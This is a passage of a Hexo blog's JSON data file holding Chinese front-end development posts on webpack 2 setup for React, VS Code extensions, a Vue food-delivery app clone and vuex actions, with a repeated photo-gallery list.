n.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"框架:react
\n\n\n注意:路由用的是4.0版
\n
打包工具:webpack2.0
\n项目唯一入口
\n\n\n这里发现一个问题,就是当我打包时全部 js 在同一个文件中,文件太大了,性能体验上是非常可怕的,反正我觉得如果2g网浏览是GG了的。处理的方式是: 给入口添加一个 vendor,将依赖库写入这个 vendor 中,如果觉得依赖包太大可以写成 vendor1,vendor2.
\n
项目输出文件夹
\n\n\n[name].[hash:8].js
\n
html,js,css,img 处理组件
\n其他优化插件,该处只介绍 webpack 自带的一些插件库
\nwebpack.BannerPlugin
\n\n\n给打包文件添加一个banner
\n
webpack.optimize.UglifyJsPlugin
\n\n\n压缩 js
\n
webpack.optimize.OccurrenceOrderPlugin
\n\n\n添加唯一 ID
\n
热加载插件,在 script 中的命令参数:
\n\n\n–devtool eval:为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号
\n
–progress: 显示合并代码进度
–colors: 在命令行中显示颜色
–content-base build: 指向设置的输出目录
–hot: 注意在 config 文件中如果已经new plugin,就不要hot了,二选一。
根据预先的模板实例化一个html
\nnew HtmlWebpackPlugin({\n title: '',\n template: __dirname + "/src/index.html",\n minify: {\n "removeAttributeQuotes": true, // 移除注释\n "removeComments": true, // 移除空格\n "removeEmptyAttributes": true, // 移除空白行\n },\n chunks: ['index', 'vendors'], // 配置该html文件要添加的模块\n // inject: 'body'\n })\n
删除 webpack 缓存插件
\nnew CleanWebpackPlugin('build/', { // 清除缓存文件\n root: __dirname,\n verbose: true,\n dry: false\n })\n
将 css 抽离出 js
\ntest: /\\.css$/,\nuse: ExtractTextPlugin.extract({\n fallback: "style-loader", // 提取 css 文件\n use: [{ // 编译文件\n loader: "css-loader",\n options: {\n // modules: true, // 组件化\n minimize: true // 压缩\n }\n }, {\n loader: "postcss-loader" // 将 css 添加前缀\n }\n ]\n})\n
友好的错误提示插件
\nautoprefixer(需要和 postcss-loader 一起使用)
\n\n\n补全 css 前缀
\n
babel 合集
\nbabel-core\nbabel-loader\nbabel-plugin-react-transform\nbabel-preset-env\nbabel-preset-react\n
react-transform-catch-errors、redbox-react
\n\n\nreact 报错插件
\n
copy-to-clipboard
\n\n\n点击复制到剪贴板插件
\n
`
ReactDOM.render(
,
document.getElementById(‘app’)
)
在父级 APP 中记得加入 this.props.children`
\n\n路由渲染不要带着DOM一起渲染,如果可以将 router 单独作为一个组件处理,本例稍简单,并未分离出去
\n
神坑啊!设置的时候是将 8K 以内的图片打包后转为 base64,所以并看不到 img 文件夹生成。。。而我判断打包成功的标准就是是否生成 img 文件夹
\n"},{"title":"vscode 配置插件推荐","date":"2017-12-26T03:06:19.000Z","_content":"# vscode 配置\n\n\b\n## auto-Open Markdown\n\nmarkdown 预览插件\n\n## beautify\n\n让代码更符合规范\n\n## Bracket Pair Colorizer\n\n括号上色插件,神器推荐\n\n## vscode-ext-color-highlight\n\n颜色上色插件\n\n## color-\bpicker\n\n取色插件\n\n## cssrem\n\nrem转换工具\n\n## Debugger for Chrome\n\ndebugger插件,正在学怎么用\n\n## ESlint\n\n代码规范插件\n\n## file-icons\n\n图标插件\n\n## git History\n\n查看历史修改记录插件\n\n## hopscotch\n\n可爱的代码颜色风格\n\n## html css support\n\n应该改支持代码提示插件吧\n\n## markdownlint\n\nmarkdown\b \b语法提示插件\n\n## path autocomplete\n\n路径补全插件\n\n## react native tools\n\n暂时没用上\n\n## react-native\n\n也没用上\n\n## settings sync\n\n插件备份工具,神器\n\n## background\n\n一款美化插件配置如下:\n\n```js\n\"background.useDefault\": false,\n \"background.enabled\": true,\n \"background.customImages\": [\n \"file:///Users/mac/Desktop/improve/1.jpg\"\n ],\n \"background.style\": {\n \"opacity\": 0.1,\n \"width\": \"1600px\",\n \"height\": \"1150px\"\n }\n```\n\n> ps: 超级超级吃 CPU 慎用!!\n","source":"_posts/vscode-配置插件推荐.md","raw":"---\ntitle: vscode 配置插件推荐\ndate: 2017-12-26 11:06:19\ntags: [vscode]\ncategories: IDE\n---\n# vscode 配置\n\n\b\n## auto-Open Markdown\n\nmarkdown 预览插件\n\n## beautify\n\n让代码更符合规范\n\n## Bracket Pair Colorizer\n\n括号上色插件,神器推荐\n\n## vscode-ext-color-highlight\n\n颜色上色插件\n\n## color-\bpicker\n\n取色插件\n\n## cssrem\n\nrem转换工具\n\n## Debugger for Chrome\n\ndebugger插件,正在学怎么用\n\n## ESlint\n\n代码规范插件\n\n## file-icons\n\n图标插件\n\n## git History\n\n查看历史修改记录插件\n\n## hopscotch\n\n可爱的代码颜色风格\n\n## html css support\n\n应该改支持代码提示插件吧\n\n## markdownlint\n\nmarkdown\b \b语法提示插件\n\n## path autocomplete\n\n路径补全插件\n\n## react native tools\n\n暂时没用上\n\n## react-native\n\n也没用上\n\n## settings sync\n\n插件备份工具,神器\n\n## background\n\n一款美化插件配置如下:\n\n```js\n\"background.useDefault\": false,\n \"background.enabled\": true,\n \"background.customImages\": [\n \"file:///Users/mac/Desktop/improve/1.jpg\"\n ],\n \"background.style\": {\n \"opacity\": 0.1,\n \"width\": \"1600px\",\n \"height\": \"1150px\"\n }\n```\n\n> ps: 超级超级吃 CPU 慎用!!\n","slug":"vscode-配置插件推荐","published":1,"updated":"2018-04-03T02:25:35.731Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5s0026vzqh3l4mzrik","content":"\b
\nmarkdown 预览插件
\n让代码更符合规范
\n括号上色插件,神器推荐
\n颜色上色插件
\n取色插件
\nrem转换工具
\ndebugger插件,正在学怎么用
\n代码规范插件
\n图标插件
\n查看历史修改记录插件
\n可爱的代码颜色风格
\n应该改支持代码提示插件吧
\nmarkdown\b \b语法提示插件
\n路径补全插件
\n暂时没用上
\n也没用上
\n插件备份工具,神器
\n一款美化插件配置如下:
\n"background.useDefault": false,\n "background.enabled": true,\n "background.customImages": [\n "file:///Users/mac/Desktop/improve/1.jpg"\n ],\n "background.style": {\n "opacity": 0.1,\n "width": "1600px",\n "height": "1150px"\n }\n
\n\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"ps: 超级超级吃 CPU 慎用!!
\n
\b
\nmarkdown 预览插件
\n让代码更符合规范
\n括号上色插件,神器推荐
\n颜色上色插件
\n取色插件
\nrem转换工具
\ndebugger插件,正在学怎么用
\n代码规范插件
\n图标插件
\n查看历史修改记录插件
\n可爱的代码颜色风格
\n应该改支持代码提示插件吧
\nmarkdown\b \b语法提示插件
\n路径补全插件
\n暂时没用上
\n也没用上
\n插件备份工具,神器
\n一款美化插件配置如下:
\n"background.useDefault": false,\n "background.enabled": true,\n "background.customImages": [\n "file:///Users/mac/Desktop/improve/1.jpg"\n ],\n "background.style": {\n "opacity": 0.1,\n "width": "1600px",\n "height": "1150px"\n }\n
\n\n\n"},{"title":"vue-eleme","date":"2017-07-05T13:51:12.000Z","_content":"\n### 准备工作\n* vue-cli\n* better-scroll\n* node.js\n* 电脑(废话)\n* 在dev-server中配置本地 data.json API接口\n\n### header组件\n\n#### star组件\n* 该项目中多处用到 星星 ,所以可以将它整合成一个组件,以复用\n* 用 import 引入到父组件,给该组件传入 seller.score 评分数据\n```\nitemClasses () {\n let result = []\n let score = Math.floor(this.score * 2) / 2\n let hasDecimal = score % 1 !== 0\n let integer = Math.floor(score)\n for (let i = 0; i < integer; i++) {\n result.push(CLS_ON)\n }\n if (hasDecimal) {\n result.push(CLS_HELF)\n }\n while (result.length < STARLENG) {\n result.push(CLS_OFF)\n }\n return result\n }\n```\n> 分别获取它们的整数,小数,和无\n\n#### sticky footer 布局\n* 为了防止内容超过容器,图标遮挡内容的现象\n\n* 实现原理就是设置一个容器,将该容器的最小大小设置为100%,容器外面再设一个容器,给他一个负的 margin 或者是 padding,将它固定在容器的最下方\n\n>可以参考我这篇(文章)[http://jzxer.cn/sticky-footer.html]\n\n### goods 组件\n\n#### nextTrick () 方法\n* 该函数的意思是,当一个 DOM 刚刚 create 的时候,因为 DOM 会在当前 tick里面的代码全部执行完再更新,所以不能做到在修改数据之后 DOM 更新之后再执行,要保证 DOM 更新之后再执行某一块代码,就必须放在下一次循环更新里面,,这样 DOM 更新后, 就会立即执行这块的代码\n!()[https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]\n\n#### better-scroll 插件\n > 可以在 npm 包管理器中下载\n* 使用方法就是直接给你需要滚动的列表上创建一个实例,该实例的调用要放在nextTrick()中,因为触屏滚动每次都是需要更新 dom 的\n\n#### refs 和 el 数据传递\n* refs就是将子组件的数据传递给父组件,el就是 elment,指的是该实例的 dom 分支\n\n\n### API 接口配置\n新建一个 express.Router() 实例,给它们分配路由路径,记得加入一个 errno ,判断是否正确获取数据\n>这个时候就发现 node 是多么的强大,前后端全包了~\n\n### shopCart 组件\n指的是底部购物车组件,这个部分比较麻烦的是数据绑定,因为我们需要绑定一个数据流,点击添加商品,判断商品是否大于起送价,否则返回空,按钮不可点击,购物车头部无红色小标签,是则按钮变为绿色,购物logo变成蓝色,出现红色计数标签。\n\n### cartcontral 组件\n实现的思路是,点击添加会改变shopcart里的数据,双向绑定,这里用到了 $emit 就是将子路由中的数据传递给父组件,和ref的原理很像,父组件再通过监听事件得到子组件的数据。","source":"_posts/vue-eleme.md","raw":"---\ntitle: vue-eleme\ndate: 2017-07-05 21:51:12\ntags: [vue, nodeJS]\ncategories: web项目\n---\n\n### 准备工作\n* vue-cli\n* better-scroll\n* node.js\n* 电脑(废话)\n* 在dev-server中配置本地 data.json API接口\n\n### header组件\n\n#### star组件\n* 该项目中多处用到 星星 ,所以可以将它整合成一个组件,以复用\n* 用 import 引入到父组件,给该组件传入 seller.score 评分数据\n```\nitemClasses () {\n let result = []\n let score = Math.floor(this.score * 2) / 2\n let hasDecimal = score % 1 !== 0\n let integer = Math.floor(score)\n for (let i = 0; i < integer; i++) {\n result.push(CLS_ON)\n }\n if (hasDecimal) {\n result.push(CLS_HELF)\n }\n while (result.length < STARLENG) {\n result.push(CLS_OFF)\n }\n return result\n }\n```\n> 分别获取它们的整数,小数,和无\n\n#### sticky footer 布局\n* 为了防止内容超过容器,图标遮挡内容的现象\n\n* 实现原理就是设置一个容器,将该容器的最小大小设置为100%,容器外面再设一个容器,给他一个负的 margin 或者是 padding,将它固定在容器的最下方\n\n>可以参考我这篇(文章)[http://jzxer.cn/sticky-footer.html]\n\n### goods 组件\n\n#### nextTrick () 方法\n* 该函数的意思是,当一个 DOM 刚刚 create 的时候,因为 DOM 会在当前 tick里面的代码全部执行完再更新,所以不能做到在修改数据之后 DOM 更新之后再执行,要保证 DOM 更新之后再执行某一块代码,就必须放在下一次循环更新里面,,这样 DOM 更新后, 就会立即执行这块的代码\n!()[https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]\n\n#### better-scroll 插件\n > 可以在 npm 包管理器中下载\n* 使用方法就是直接给你需要滚动的列表上创建一个实例,该实例的调用要放在nextTrick()中,因为触屏滚动每次都是需要更新 dom 的\n\n#### refs 和 el 数据传递\n* refs就是将子组件的数据传递给父组件,el就是 elment,指的是该实例的 dom 分支\n\n\n### API 接口配置\n新建一个 express.Router() 实例,给它们分配路由路径,记得加入一个 errno ,判断是否正确获取数据\n>这个时候就发现 node 是多么的强大,前后端全包了~\n\n### shopCart 组件\n指的是底部购物车组件,这个部分比较麻烦的是数据绑定,因为我们需要绑定一个数据流,点击添加商品,判断商品是否大于起送价,否则返回空,按钮不可点击,购物车头部无红色小标签,是则按钮变为绿色,购物logo变成蓝色,出现红色计数标签。\n\n### cartcontral 组件\n实现的思路是,点击添加会改变shopcart里的数据,双向绑定,这里用到了 $emit 就是将子路由中的数据传递给父组件,和ref的原理很像,父组件再通过监听事件得到子组件的数据。","slug":"vue-eleme","published":1,"updated":"2018-01-22T06:08:49.837Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5t0029vzqhw583ttnz","content":"ps: 超级超级吃 CPU 慎用!!
\n
itemClasses () {\n let result = []\n let score = Math.floor(this.score * 2) / 2\n let hasDecimal = score % 1 !== 0\n let integer = Math.floor(score)\n for (let i = 0; i < integer; i++) {\n result.push(CLS_ON)\n }\n if (hasDecimal) {\n result.push(CLS_HELF)\n }\n while (result.length < STARLENG) {\n result.push(CLS_OFF)\n }\n return result\n }\n
\n\n分别获取它们的整数,小数,和无
\n
为了防止内容超过容器,图标遮挡内容的现象
\n实现原理就是设置一个容器,将该容器的最小大小设置为100%,容器外面再设一个容器,给他一个负的 margin 或者是 padding,将它固定在容器的最下方
\n\n\n可以参考我这篇(文章)[http://jzxer.cn/sticky-footer.html]
\n
\n\n可以在 npm 包管理器中下载
\n\n
\n- 使用方法就是直接给你需要滚动的列表上创建一个实例,该实例的调用要放在nextTrick()中,因为触屏滚动每次都是需要更新 dom 的
\n
新建一个 express.Router() 实例,给它们分配路由路径,记得加入一个 errno ,判断是否正确获取数据
\n\n\n这个时候就发现 node 是多么的强大,前后端全包了~
\n
指的是底部购物车组件,这个部分比较麻烦的是数据绑定,因为我们需要绑定一个数据流,点击添加商品,判断商品是否大于起送价,否则返回空,按钮不可点击,购物车头部无红色小标签,是则按钮变为绿色,购物logo变成蓝色,出现红色计数标签。
\n实现的思路是,点击添加会改变shopcart里的数据,双向绑定,这里用到了 $emit 就是将子路由中的数据传递给父组件,和ref的原理很像,父组件再通过监听事件得到子组件的数据。
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"itemClasses () {\n let result = []\n let score = Math.floor(this.score * 2) / 2\n let hasDecimal = score % 1 !== 0\n let integer = Math.floor(score)\n for (let i = 0; i < integer; i++) {\n result.push(CLS_ON)\n }\n if (hasDecimal) {\n result.push(CLS_HELF)\n }\n while (result.length < STARLENG) {\n result.push(CLS_OFF)\n }\n return result\n }\n
\n\n分别获取它们的整数,小数,和无
\n
为了防止内容超过容器,图标遮挡内容的现象
\n实现原理就是设置一个容器,将该容器的最小大小设置为100%,容器外面再设一个容器,给他一个负的 margin 或者是 padding,将它固定在容器的最下方
\n\n\n可以参考我这篇(文章)[http://jzxer.cn/sticky-footer.html]
\n
\n\n可以在 npm 包管理器中下载
\n\n
\n- 使用方法就是直接给你需要滚动的列表上创建一个实例,该实例的调用要放在nextTrick()中,因为触屏滚动每次都是需要更新 dom 的
\n
新建一个 express.Router() 实例,给它们分配路由路径,记得加入一个 errno ,判断是否正确获取数据
\n\n\n这个时候就发现 node 是多么的强大,前后端全包了~
\n
指的是底部购物车组件,这个部分比较麻烦的是数据绑定,因为我们需要绑定一个数据流,点击添加商品,判断商品是否大于起送价,否则返回空,按钮不可点击,购物车头部无红色小标签,是则按钮变为绿色,购物logo变成蓝色,出现红色计数标签。
\n实现的思路是,点击添加会改变shopcart里的数据,双向绑定,这里用到了 $emit 就是将子路由中的数据传递给父组件,和ref的原理很像,父组件再通过监听事件得到子组件的数据。
\n"},{"title":"vuex 使用技巧","date":"2017-06-15T10:36:30.000Z","_content":"\n## Action\n提供方法和API请求,类似于mutation\n> mutation 修改 state 只能是同步的\n* action 充满了各种异步 api\n```\nactions: {\n\tincrement (context) {\n \tcontext.commit('increment')\n }\n}\n另一种写法\nincrement({commit}) {\n\tcommit('increment')\n}\n```\n\n## 分发 Action\n> store.dispatch('increment')\n","source":"_posts/vuex-模块介绍.md","raw":"---\ntitle: vuex 使用技巧\ndate: 2017-06-15 18:36:30\ntags: [vuex]\ncategories: vue\n---\n\n## Action\n提供方法和API请求,类似于mutation\n> mutation 修改 state 只能是同步的\n* action 充满了各种异步 api\n```\nactions: {\n\tincrement (context) {\n \tcontext.commit('increment')\n }\n}\n另一种写法\nincrement({commit}) {\n\tcommit('increment')\n}\n```\n\n## 分发 Action\n> store.dispatch('increment')\n","slug":"vuex-模块介绍","published":1,"updated":"2018-01-22T06:09:30.647Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y5v002dvzqhe0h96l38","content":"提供方法和API请求,类似于mutation
\n\n\nmutation 修改 state 只能是同步的
\n\n
\n- action 充满了各种异步 api
\nactions: {\n increment (context) {\n context.commit('increment')\n }\n}\n另一种写法\nincrement({commit}) {\n commit('increment')\n}\n
\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.c